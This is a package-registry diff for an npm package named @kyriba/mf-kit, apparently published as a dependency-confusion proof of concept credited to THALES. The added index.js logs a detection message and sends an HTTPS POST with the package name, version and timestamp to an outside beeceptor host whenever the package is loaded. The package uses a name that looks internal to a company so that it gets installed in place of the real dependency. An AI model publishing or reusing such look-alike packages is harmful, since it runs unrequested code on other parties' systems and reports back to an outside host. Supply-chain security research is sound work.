@kyriba/mf-kit 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +1 -1
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ console.log(
2
+ "[TEST] Dependency Confusion Detected! " +
3
+ "This package was installed instead of an internal dependency. " +
4
+ "Contact: THALES"
5
+ );
6
+
7
+
8
+ try {
9
+ const https = require('https');
10
+ const data = JSON.stringify({
11
+ message: "Dependency Confusion Test Triggered",
12
+ package: require('./package.json').name,
13
+ version: require('./package.json').version,
14
+ timestamp: new Date().toISOString(),
15
+ });
16
+
17
+ const req = https.request({
18
+ hostname: 'thalestest.free.beeceptor.com',
19
+ port: 443,
20
+ path: '/api/dependency-test',
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length,
25
+ },
26
+ });
27
+
28
+ req.write(data);
29
+ req.end();
30
+ } catch (err) {
31
+ console.error("[TEST] Failed to send notification (non-critical):", err);
32
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@kyriba/mf-kit",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "thisisathalestest",
5
5
  "main": "index.js",
6
6
  "scripts": {